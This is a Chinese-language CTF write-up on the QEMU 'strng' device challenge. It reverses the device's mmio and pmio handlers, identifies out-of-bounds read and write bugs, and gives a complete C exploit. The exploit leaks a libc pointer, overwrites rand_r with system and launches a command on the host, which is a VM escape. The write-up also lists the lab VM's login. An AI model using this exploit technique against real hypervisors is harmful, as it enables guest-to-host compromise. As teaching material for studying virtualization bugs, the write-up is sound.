前言
虚拟机用户名:ubuntu
密码:passw0rd
一道入门题,看下启动脚本:
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
可以看到加载了 strng 这个设备,并将虚拟机的 22 端口映射到了宿主机的 5555 端口,所以后面可以用如下命令将 exp 传入虚拟机:
scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu
程序分析
设备定位
直接将 qemu-system-x86_64 丢入 IDA,然后定位到 strng 相关的函数:
从 strng_class_init 函数可以得知 strng 设备的 verdorid = 0x1234,deviceid=0x11E9。然后可以定位到其对应的设备资源:
访问其资源,可以看到存在 resource0 和 resource1 说明其有 mmio 和 pmio 空间(其中从 IDA 里面的函数名也可以看出来):
设备逆向
最主要的就是与 mmio 和 pmio 相关的函数,这里依次看下。这里提前说下,以下函数每次操作的都是下面这个结构体:也就是我们的类实例
strng_mmio_read
这个函数似乎存在溢出,因为其没有对 addr 进行大小检查,所以 addr >> 2 可能造成越界。
strng_mmio_write
函数的功能很简单,也是缺乏对 addr 的大小检查,值得注意的是我的注释部分。
strng_pmio_read
这里也是没有对 opaque->addr 的大小做检查,如果我们能够控制 opaque->addr 则导致任意读。
strng_pmio_write
这个函数就很明显了,我们有直接设置 opaque->addr 的能力,配合 pmio_read 可以实现任意读,而结合其自身可以实现任意写。因为该函数也没有对 opaque->addr 的大小做检查。
漏洞分析
- mmio_read 中存在直接越界读
- mmio_write 中存在直接越界写
- pmio_read 与 pmio_write 配合可以实现任意地址读写(不完全任意,应该说越界读写好一些,不想改了)
但是这里需要注意的是 mmio 本身会对地址范围做检查,所以这里第1、2个漏洞无法利用。最后通过 pmio_read 与 pmio_write 实现任意地址读写。
利用方式:
1、越界读取 regs 后面的 srand/rand/rand_r 函数指针去泄漏 system 函数地址
2、再回到 strng_mmio_write 函数中:
可以看到在 idx == 3 成立时,会调用 opaque->rand_r,所以可以通过越界读去修改 rand_r 指针为 system 函数地址。
3、然后之前向 regs[2] 处写入 ”gnome-calculator" 字符串,最后触发即可弹计算机。
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio_mem;
size_t pmio_mem = 0xc050;
void mmio_init()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR|O_SYNC);
if (mmio_fd < 0) perror("[X] open mmio"), exit(EXIT_FAILURE);
mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem < 0) perror("[X] mmap mmio"), exit(EXIT_FAILURE);
if (mlock(mmio_mem, 0x1000) == -1) perror("[X] mlock mmio"), exit(EXIT_FAILURE);
}
size_t mmio_read(size_t offset)
{
return *(size_t*)(mmio_mem + offset);
}
size_t mmio_write(size_t offset, size_t value)
{
*(size_t*)(mmio_mem + offset) = value;
}
void pmio_init()
{
if (iopl(3) == -1) perror("[X] iopl"), exit(EXIT_FAILURE);
}
size_t pmio_read(size_t offset)
{
return inl(pmio_mem + offset);
}
void pmio_write(size_t offset, size_t value)
{
outl(value, pmio_mem + offset);
}
uint64_t arb_read(size_t offset)
{
pmio_write(0, offset<<2);
uint64_t val = pmio_read(4);
pmio_write(0, (offset+1)<<2);
return val | (1ULL * pmio_read(4) << 32);
}
void arb_write(size_t offset, uint64_t val)
{
pmio_write(0, offset<<2);
pmio_write(4, val & 0xffffffff);
pmio_write(0, (offset+1)<<2);
pmio_write(4, val >> 32);
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
pmio_init();
uint64_t srand_addr = arb_read(65);
printf("[+] srand_addr => %#llx\n", srand_addr);
uint64_t system_addr = srand_addr + 0xacd0;
printf("[+] system_addr => %#llx\n", system_addr);
mmio_write(8, 0x6d6f6e67);
mmio_write(8+4, 0x61632d65);
//mmio_write(8+4+4, 0x6c75636c);
//mmio_write(8+4+4+4, 0x726f7461);
arb_write(4, 0x726f74616c75636c);
arb_write(69, system_addr);
mmio_write(8+4, 0xdeadbeef);
return 0;
}
效果如下: